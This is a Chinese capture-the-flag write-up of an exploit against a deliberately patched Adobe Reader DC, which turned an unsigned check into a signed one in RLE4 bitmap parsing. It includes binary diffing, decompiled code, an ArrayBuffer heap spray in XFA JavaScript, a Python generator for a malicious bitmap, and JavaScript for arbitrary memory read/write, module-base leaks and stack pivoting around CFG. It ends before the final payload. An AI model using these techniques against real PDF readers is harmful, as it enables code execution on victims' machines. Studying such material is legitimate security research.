0x00 前言
第一次来强网杯线下,接触了realword题,收获很大,深有感触
题目信息:
题目名称:ADoBe
旗帜名称:ADB
题目描述:附件中给出了一个Adobe Reader DC可执行程序,请挖掘并利用该程序中的漏洞,在靶机中弹出计算器程序。
靶机环境:Win10 虚拟机,默认安装配置,系统补丁安装至最新。系统安装了附件中提供中的Adobe Reader DC程序,并已关闭程序沙箱。
附件信息:Adobe Reader DC程序及相关Dll文件,版本均与靶机中的一致。
展示环境拓扑:交换机连接选手攻击机和展示机,展示机使用VMware(最新版)运行靶机,靶机通过NAT方式连接到网络。
展示过程:选手携带自己的攻击机上台展示题解,攻击机需运行HTTP服务,供操作员下载能够利用程序漏洞的PDF文档。操作员打开PDF文档后,在规定的时间内,在靶机中弹出计算器程序判定为题解正确。
注意事项:
(1)在解题时,可通过在注册表项
HKLM\SOFTWARE\Wow6432Node\Policies\Adobe\Acrobat Reader\DC\FeatureLockDown中修改键值项bProtectedMode(DWORD类型),赋值为0来关闭Adobe Reader DC程序的沙箱;
(2)上台展示题解的时候注意关闭exp的调试信息。
0x01 挖掘过程
从题目描述可以看出,这是要让我们对这个patch过的adobe reader软件进行漏洞挖掘,为了找出漏洞点,我们需要下载与当前版本一致的官方版本进行对比。
将官方版本下载安装后,我们写一个脚本来查找到底是哪一个文件被patch过,脚本如下,就是简单的内容比对。
#coding:utf8
import os
src_dir = u'C:\\Users\\Administrator\\Desktop\\realword\\Adobe附件\\Adobe\\Acrobat Reader DC' # 源文件目录地址
comp_dest = u'C:\\Program Files (x86)\\Adobe\Acrobat Reader DC'
def list_all_files(rootdir):
_files = []
#列出文件夹下所有的目录与文件
list_file = os.listdir(rootdir)
for i in range(0,len(list_file)):
# 构造路径
path = os.path.join(rootdir,list_file[i])
# 判断路径是否是一个文件目录或者文件
# 如果是文件目录,继续递归
if os.path.isdir(path):
_files.extend(list_all_files(path))
if os.path.isfile(path):
_files.append(path)
return _files
files = list_all_files(src_dir)
for path in files:
path2 = comp_dest + '\\' + path[len(src_dir)+1:]
#print path2
f = open(path,'rb')
content1 = f.read()
f.close()
try:
f = open(path2,'rb')
content2 = f.read()
f.close()
except:
continue
if content1 != content2:
print path
经过比对,发现仅一个文件被修改过,那就是Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api文件,接下来,利用Fairdell HexCmp2差异对比工具来对比AcroForm.api与官方文件的差异之处。结果如下
Different between:
First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
------------------------------------------------------------------------
First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
Shift: 0
------------------------------------------------------------------------
000001E0 | 68 F0 E2 30 1E | 000001E0 | 00 00 00 00 00 |
------------------------------------------------------------------------
0054B098 | 87 | 0054B098 | 8F |
------------------------------------------------------------------------
0054B0C0 | EE | 0054B0C0 | FE |
------------------------------------------------------------------------
打开IDA分析,跳转到差异地址处,发现指令由无符号指令patch成了有符号指令
这题patch后的漏洞类型与腾讯安全玄武实验室分析CVE-2019-8014类似,甚至可以说,本题比CVE-2019-8014的利用更加简单方便,首先阅读腾讯实验室的文章,可以发现CVE-2019-8014的堆溢出写数据,不能做到很精准的控制,如果要向前溢出修改ArrayBuffer的byteLength时,那么从byteLength处到溢出堆的起始点都会被覆盖为同一个数据,也就是ArrayBuffer的DataView指针也会被覆盖,进程使用ArrayBuffer对象时会因为其DataView指针指向一个无效地址而崩溃,因此该利用需要事先在对应位置布置好fake DataView堆布局。
ArrayBuffer
ArrayBuffer是JavaScript里的一种类,可以理解为是一个字节数组的包装类,如果要对ArrayBuufer的内存进行读写,就需要建立DataView对象来进行操作。在Adobe中,使用的JS引擎为SpiderMonkey,在早期的Adobe Reader中,其JS的版本不支持ArrayBuffer这个类,好在这是最新版的Adobe Reader,其ArrayBuffer类的大致结构如下
class ArrayBuffer {
public:
uint32_t flags; // flags
uint32_t byteLength; // 数组长度
uint32_t dataview_obj; // dataview 对象指针
uint32_t length; //
// ...
//数据区
};
结合JS达到利用
由于Adobe Reader本身支持JavaScript,我们希望利用堆溢出修改ArrayBuffer的byteLength为0xFFFFFFFF,从而使得该ArrayBuffer具有任意地址读写的能力,然后可以利用JavaScript对内存进行读写,劫持程序流;为了达到这个目的,首先我们得利用堆喷构造好堆布局如下
我们希望在Adobe Reader解析bitmap之前时,ArrayBuffer对象后方能间隔的出现一些已经释放了的堆(“空洞”),这样解析bitmap时,存放bitmap的解压数据的堆(line)正好落到空洞里,然后通过bitmap解析时的堆溢出,向前方溢出,修改ArrayBuffer里的byteLength。
精准控制内存
首先,xpos是完全可以通过伪造bitmap,使得其值累加到0xFFFFFFFF,由于这里xpos是有符号数,因此右移1位的操作,其符号位不变,仍然可以保持为负数,正是因为其符号能保持为负数,我们可以精准的向上方溢出。
为了确定溢出的距离,我们使用动态调试,这里,我们选择堆喷的大小为0x140,因此,我们事先new ArrayBuffer(0x130),然后间隔的释放一些ArrayBuffer对象。在Adobe Reader的pdf文档里,我们可以在xdp标签里嵌入
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
</script>
</event>
该标签里的脚本会在Adobe Reader打开pdf文件开始时执行,也就是在解析bitmap之前执行,因此,我们可以在这里进行堆喷布局,pdf模板内xdp标签内的关键内容如下
<variables>
<script name="spray" contentType="application/x-javascript">
//全局变量
var size = 200;
var array = new Array(size);
</script>
<?templateDesigner expand 1?>
</variables>
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
// 在漏洞触发之前,我们布局好堆布局
function fillHeap() {
var i;
var j;
spray.array[0] = new ArrayBuffer(0x130);
//var dv = new DataView(spray.array[0]);
// dv.setUint32(0, 0x66666666, true);
//dv = null;
for (i = 0; i < spray.array.length; ++i) {
spray.array[i] = spray.array[0].slice();
//spray.array[i] = new ArrayBuffer(0x130);
//var dv = new DataView(spray.array[i]);
//dv.setUint32(0,i, true);
}
for (j = 0; j < 0x1000; j++) {
for (i = spray.size - 1; i > spray.size / 4; i -= 10) {
spray.array[i] = null;
}
}
}
fillHeap();
app.alert("[!] ready to go");
</script>
</event>
堆布局配置好了,接着我们分析一下程序如何才能到达漏洞点进而溢出
unsigned int __thiscall sub_20D4B4AF(_DWORD *this)
{
_DWORD *v1; // edi
int v2; // ecx
bool v3; // zf
int v4; // eax
unsigned int v5; // esi
int v6; // eax
int v7; // ecx
int v8; // ecx
unsigned __int16 v9; // ax
int v10; // edx
unsigned int v11; // esi
int v12; // ecx
int v13; // ecx
int v14; // ecx
int v15; // ecx
int v16; // ecx
_DWORD *v17; // ecx
int v18; // ecx
int v19; // ecx
int v20; // ecx
double v21; // xmm1_8
double v22; // xmm4_8
__int16 v23; // cx
unsigned int height; // ebx
unsigned int result; // eax
unsigned int v26; // esi
int v27; // ecx
int v28; // eax
int v29; // ecx
int v30; // eax
int v31; // ecx
unsigned int v32; // ebx
int v33; // eax
int v34; // ecx
int v35; // eax
int v36; // ecx
int v37; // ecx
unsigned int v38; // esi
int v39; // ecx
unsigned int v40; // edx
char v41; // ah
unsigned int v42; // ecx
int v43; // ebx
int v44; // ecx
int v45; // eax
unsigned int v46; // edx
int v47; // ecx
int v48; // ecx
int v49; // ecx
unsigned int v50; // eax
int v51; // ebx
int v52; // eax
bool v53; // zf
int v54; // ecx
unsigned int xpos; // esi
int v56; // ecx
char v57; // ah
int v58; // edx
unsigned int v59; // ecx
unsigned int v60; // esi
unsigned int v61; // ebx
char v62; // si
int v63; // eax
int v64; // ecx
unsigned int v65; // esi
_DWORD *v66; // ecx
char v67; // bl
int v68; // eax
char v69; // cl
bool v70; // cf
int v71; // ecx
int v72; // ecx
int v73; // ecx
signed int v74; // ebx
int ypos_1; // eax
unsigned int dst_xpos; // ecx
signed int xpos_; // ebx
char index; // cl
signed int byte_slot; // esi
int odd_index; // edx
_DWORD *v81; // ecx
unsigned __int8 _4bits; // bl
int line; // eax
unsigned __int8 _4bits_1; // cl
int v85; // edx
unsigned int v86; // esi
int v87; // ebx
int v88; // eax
int v89; // ecx
int v90; // esi
int v91; // ecx
int v92; // ecx
int v93; // ecx
unsigned int v94; // ebx
unsigned int v95; // ebx
int v96; // eax
int v97; // ecx
int v98; // esi
int v99; // ecx
int v100; // ecx
int v101; // ecx
signed int v102; // [esp-4h] [ebp-7Ch]
signed int v103; // [esp-4h] [ebp-7Ch]
int v104; // [esp-4h] [ebp-7Ch]
char v105; // [esp+10h] [ebp-68h]
void **v106; // [esp+2Ch] [ebp-4Ch]
int v107; // [esp+34h] [ebp-44h]
int v108; // [esp+38h] [ebp-40h]
int v109; // [esp+3Ch] [ebp-3Ch]
char v110; // [esp+44h] [ebp-34h]
int width_1; // [esp+48h] [ebp-30h]
int v112; // [esp+4Ch] [ebp-2Ch]
__int16 v113; // [esp+50h] [ebp-28h]
unsigned __int16 bit_count; // [esp+52h] [ebp-26h]
unsigned int biCompression; // [esp+54h] [ebp-24h]
int v116; // [esp+5Ch] [ebp-1Ch]
int v117; // [esp+60h] [ebp-18h]
unsigned int v118; // [esp+64h] [ebp-14h]
int v119; // [esp+74h] [ebp-4h]
char v120; // [esp+78h] [ebp+0h]
void **v121; // [esp+7Ch] [ebp+4h]
int v122; // [esp+84h] [ebp+Ch]
int v123; // [esp+88h] [ebp+10h]
int v124; // [esp+8Ch] [ebp+14h]
unsigned int v125; // [esp+94h] [ebp+1Ch]
unsigned __int8 xdelta; // [esp+9Bh] [ebp+23h]
int cmd; // [esp+9Ch] [ebp+24h]
char v128; // [esp+A3h] [ebp+2Bh]
int v129; // [esp+A4h] [ebp+2Ch]
__int16 ydelta; // [esp+A8h] [ebp+30h]
unsigned int width; // [esp+ACh] [ebp+34h]
unsigned __int8 v132; // [esp+B3h] [ebp+3Bh]
unsigned int bitmap_ends; // [esp+B4h] [ebp+3Ch]
unsigned int v134; // [esp+B8h] [ebp+40h]
char v135; // [esp+BFh] [ebp+47h]
unsigned int v136; // [esp+C0h] [ebp+48h]
unsigned __int8 low_4bits; // [esp+C6h] [ebp+4Eh]
unsigned __int8 high_4bits; // [esp+C7h] [ebp+4Fh]
unsigned int ypos; // [esp+C8h] [ebp+50h]
char v140; // [esp+CCh] [ebp+54h]
v1 = this;
if ( !this[2] )
_Mtx_lock_2(16479);
fn_read_bytes(&v140, 14);
sub_20D4AFFB(&v110);
v2 = v1[2];
fn_read_bytes(&v110, 40);
if ( v113 != 1 )
goto LABEL_175;
width = 4;
if ( bit_count == 1 )
goto LABEL_9;
if ( bit_count == 4 )
{
if ( !biCompression )
goto LABEL_11;
v3 = biCompression == 2;
goto LABEL_10;
}
if ( bit_count != 8 )
{
if ( bit_count != 24 )
{
LABEL_8:
sub_20E0D4B3(&v120, 17996, 0);
goto LABEL_176;
}
LABEL_9:
v3 = biCompression == 0;
goto LABEL_10;
}
if ( !biCompression )
goto LABEL_11;
v3 = biCompression == 1;
LABEL_10:
if ( !v3 )
goto LABEL_8;
LABEL_11:
v4 = bit_count * width_1;
if ( v4 <= 0 || v4 < width_1 || v4 < bit_count )
{
sub_20E0D4B3(&v120, 16479, 0);
goto LABEL_176;
}
..................................................................
if ( biCompression == 2 )
{
v54 = v1[2];
xpos = 0;
ypos = v112 - 1;
bitmap_ends = 0;
v136 = 0;
result = fn_feof(v54, v10);
if ( !result )
{
while ( 1 )
{
if ( bitmap_ends )
return result;
v56 = v1[2];
fn_read_bytes(&cmd, 2);
v57 = BYTE1(cmd);
if ( (_BYTE)cmd )
break;
v58 = BYTE1(cmd);
if ( BYTE1(cmd) )
{
if ( BYTE1(cmd) == 1 )
{
v74 = 1;
bitmap_ends = 1;
goto LABEL_152;
}
if ( BYTE1(cmd) != 2 )
{
v59 = ypos;
v60 = BYTE1(cmd) + xpos;
if ( ypos >= height )
goto LABEL_175;
v61 = v136;
if ( v60 < v136 || v60 < BYTE1(cmd) || v60 > width )
goto LABEL_175;
v62 = 0;
v134 = 0;
if ( BYTE1(cmd) )
{
do
{
v63 = v62 & 1;
v125 = v62 & 1;
if ( !(v62 & 1) )
{
v64 = v1[2];
fn_read_bytes(&v132, 1);
v128 = v132 & 0xF;
v59 = ypos;
v135 = v132 >> 4;
v63 = v125;
}
v65 = v61 >> 1;
v104 = v59;
v66 = (_DWORD *)v1[3];
if ( v61 & 1 )
{
if ( v63 )
{
v68 = fn_get_scanline(v66, v104);
v69 = v128;
}
else
{
v68 = fn_get_scanline(v66, v104);
v69 = v135;
}
*(_BYTE *)(v65 + v68) |= v69;
}
else
{
v67 = v135;
if ( v63 )
v67 = v128;
*(_BYTE *)(fn_get_scanline(v66, v104) + v65) = 16 * v67;
v61 = v136;
}
++v61;
v57 = BYTE1(cmd);
v62 = v134 + 1;
v70 = v134 + 1 < BYTE1(cmd);
v136 = v61;
v59 = ypos;
++v134;
}
while ( v70 );
}
if ( (v57 & 3u) - 1 <= 1 )
{
v71 = v1[2];
fn_read_bytes(&v132, 1);
}
LABEL_150:
xpos = v136;
goto LABEL_151;
}
v72 = v1[2];
fn_read_bytes(&xdelta, 1);
v73 = v1[2];
fn_read_bytes((char *)&ydelta + 1, 1);
xpos += xdelta;
ypos -= HIBYTE(ydelta);
v136 = xpos;
}
else
{
--ypos;
xpos = 0;
v136 = 0;
}
LABEL_151:
v74 = bitmap_ends;
LABEL_152:
result = fn_feof(v1[2], v58);
if ( result )
{
v53 = v74 == 0;
goto LABEL_106;
}
height = v129;
}
v58 = (unsigned __int8)cmd;
high_4bits = BYTE1(cmd) >> 4;
ypos_1 = ypos;
low_4bits = BYTE1(cmd) & 0xF;
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height )
goto LABEL_175;
if ( (signed int)dst_xpos > (signed int)width )
goto LABEL_175;
xpos_ = v136;
if ( dst_xpos < v136 || dst_xpos < (unsigned __int8)cmd )
goto LABEL_175;
index = 0;
v134 = 0;
if ( (_BYTE)cmd )
{
do
{
byte_slot = xpos_ >> 1;
odd_index = index & 1;
v81 = (_DWORD *)v1[3];
if ( xpos_ & 1 )
{
if ( odd_index )
{
line = fn_get_scanline(v81, ypos_1);
_4bits_1 = low_4bits;
}
else
{
line = fn_get_scanline(v81, ypos_1);
_4bits_1 = high_4bits;
}
*(_BYTE *)(byte_slot + line) |= _4bits_1;
}
else
{
_4bits = high_4bits;
if ( odd_index )
_4bits = low_4bits;
*(_BYTE *)(fn_get_scanline(v81, ypos_1) + byte_slot) = 16 * _4bits;
xpos_ = v136;
}
++xpos_;
index = v134 + 1;
v70 = v134 + 1 < (unsigned __int8)cmd;
v136 = xpos_;
ypos_1 = ypos;
++v134;
}
while ( v70 );
}
goto LABEL_150;
}
}
LABEL_175:
sub_20E0D4B3(&v120, 17993, 0);
LABEL_176:
CxxThrowException(&v120, &_TI2_AVjfExFull__);
}
从中可以分析出COMPRESSION=2,BIT_COUNT = 4,这样即当bitmap使用的是REL4压缩算法时,就可以到达漏洞处,接下来分析该bitmap的width和height应该为多少,才能够使得申请的堆落到ArrayBuffer对象之间的堆空洞里,在此处用windbg下断点进行调试
首先windbg断点,当AcroForm.api模块被加载时会断下
sxe ld:AcroForm.api
然后断点
bp 0x54bcc8+AcroForm_base
call调用的是fn_get_scanline函数,返回的是一个堆地址
我们查看这个堆的头部以及附近的内容,可以发现其前方0x144处,正是ArrayBuffer的byteLength变量,可见这里,我们堆喷成功,bitmap的解压缩数据堆成功申请到hole里
此时我们bitmap的WIDTH = 0x278,HEIGHT = 1,该bitmap的数据解压区正好申请到hole里。
并且通过调试,我们确定了溢出的距离为-0x144
,无符号数也就是0xfffffebc
,即bye_slot应该为0xfffffebc
由于这里xpos >> 1是一个有符号数的运算,因此xpos的值应该为0xfffffd78
#include <stdio.h>
#include <iostream>
using namespace std;
int main() {
int a = 0xfffffebc;
cout << hex << (a << 1) << endl;
}
而xpos是可以控制的
于是,我们可以向-0x144的位置写上4字节0xFF,使得ArrayBuffer的byteLength为0xFFFFFFFF
gen_bitmap.py
#-*- coding:utf-8 -*-
import os
import sys
import struct
RLE8 = 1
RLE4 = 2
COMPRESSION = RLE4
BIT_COUNT = 4
CLR_USED = 1 << BIT_COUNT
WIDTH = 0x278
HEIGHT = 1
def get_bitmap_file_header(file_size, bits_offset):
return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)
def get_bitmap_info_header(data_size):
return struct.pack('<IIIHHIIIIII',
0x00000028,
WIDTH,
HEIGHT,
0x0001,
BIT_COUNT,
COMPRESSION,
data_size,
0x00000000,
0x00000000,
CLR_USED,
0x00000000)
def get_bitmap_info_colors():
# B, G, R, Reserved
rgb_quad = '\x00\x00\xFF\x00'
return rgb_quad * CLR_USED
def get_bitmap_data():
# set xpos to 0xFFFFFD02
data = '\x00\x02\xFF\x00' * (0xFFFFFD02 / 0xFF)
# set xpos to 0xFFFFFD78
data += '\x00\x02\x76\x00'
# 0x4 bytes of 0xFF
data += '\x08\xFF'
# mark end of bitmap to skip CxxThrowException
data += '\x00\x01'
return data
def generate_bitmap(filepath):
data = get_bitmap_data()
data_size = len(data)
bmi_header = get_bitmap_info_header(data_size)
bmi_colors = get_bitmap_info_colors()
bmf_header_size = 0x0E
bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
file_size = bits_offset + data_size
bmf_header = get_bitmap_file_header(file_size, bits_offset)
with open(filepath, 'wb') as f:
f.write(bmf_header)
f.write(bmi_header)
f.write(bmi_colors)
f.write(data)
if __name__ == '__main__':
if len(sys.argv) != 2:
print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
sys.exit(1)
generate_bitmap(sys.argv[1])
当完成了这一步的修改以后,我们就已经拥有了一个具有任意地址读写的ArrayBuffer对象了,与前面的堆喷布局同理,在pdf的xdp标签里嵌入
<event activity="docReady" ref="$host" name="event__docReady">
<script contentType="application/x-javascript">
</script>
</event>
可以实现图片解析完成以后的后续操作,我们在这里,首先要查找到那个具有任意地址读写的ArrayBuffer对象,由于SpiderMonkey引擎的性质,我们可以在内存里搜索0xf0e0d0c0这个特殊数据,从而能计算出ArrayBuffer对象本身的地址,以便实现后续的读写利用
// 漏洞触发后,我们找到那个byteLength被修改为-1的那个ArrayBuffer,通过此ArrayBuffer,可以实现任意地址读写。
for (var i = 0; i < spray.array.length; ++i) {
if (spray.array[i] != null && spray.array[i].byteLength == -1) {
//app.alert("found idx=" + i);
var dv = new DataView(spray.array[i]);
for (var j=-100;;j-=4) { //搜索内存,查找堆地址
var x = dv.getUint32(j,true);
if (x == 0xf0e0d0c0) {
//得到ArrayBuffer自身的地址
var heap_addr = dv.getUint32(j + 0xC,true) - 0x10 - j;
//app.alert("heap_addr=" + heap_addr.toString(16));
//得到dataview的地址
var dataview_obj_addr = dv.getUint32(-8,true);
app.alert("dataview_obj=" + dataview_obj_addr.toString(16));
//得到EScript.api模块的地址
var escript_base = dv.getUint32(dataview_obj_addr + 0xC - heap_addr,true) - 0x275510;
//app.alert("escript_base=" + escript_base.toString(16));
//计算三个重要的函数的iat表
var LoadLibraryA_iat = escript_base + 0x1af0d8;
var GetProcAddress_iat = escript_base + 0x1af114;
var VirtualProtect_iat = escript_base + 0x1af058;
//泄露函数地址
var LoadLibraryA = dv.getUint32(LoadLibraryA_iat - heap_addr,true);
var GetProcAddress = dv.getUint32(GetProcAddress_iat - heap_addr,true);
var VirtualProtect = dv.getUint32(VirtualProtect_iat - heap_addr,true);
}
}
}
}
接下来是劫持程序流,通过尝试发现程序开启了CFG控制流保护机制
因此劫持虚表为gadget不可用,绕过方法有一些,这里我直接选择劫持栈做ROP。那么得泄露栈地址,在windows下泄露栈地址不太容易,得确定teb、peb的地址,而我这里盲摸索出针对当前Adobe Reader的栈地址搜索方法,即通过dataview对象里的一连串指针,偶然发现一个接近栈地址值的指针,其位置如下
var tmp = dv.getUint32(dataview_obj_addr - heap_addr,true);
tmp = dv.getUint32(tmp - heap_addr,true);
tmp = dv.getUint32(tmp + 0xC - heap_addr,true);
//得到一个栈地址
var s = dv.getUint32(tmp + 0x8 - heap_addr,true);
这里得到的s是一个栈地址,但是其地址与函数ret时的esp之间的偏移是会发生变化的,但是变化范围不大,因此可以以该地址为起点进行搜索,直到搜索到getUint32的返回地址时便可以确定具体的栈地址。
//搜索栈地址,确定一个稳定的栈地址
var stack_addr = 0;
for (var k = s;k > s - 0x1000;k -= 4) {
x = dv.getUint32(k - heap_addr,true);
if (x == escript_base + 0x12e384) {
stack_addr = k;
//app.alert("found stack_addr=" + stack_addr.toString(16));
break;
}
}
接下来就利用任意地址读写,劫持ret时的esp指向的地址处为pop esp ; ret,做栈迁移,可以dv.setFloat64来完成一次性写8字节的目的,这样写完便可以完成栈迁移。
0x02 感想
第一次挖掘真实漏洞,收获挺大
0x03 参考
(深入分析Adobe忽略了6年的PDF漏洞) https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/
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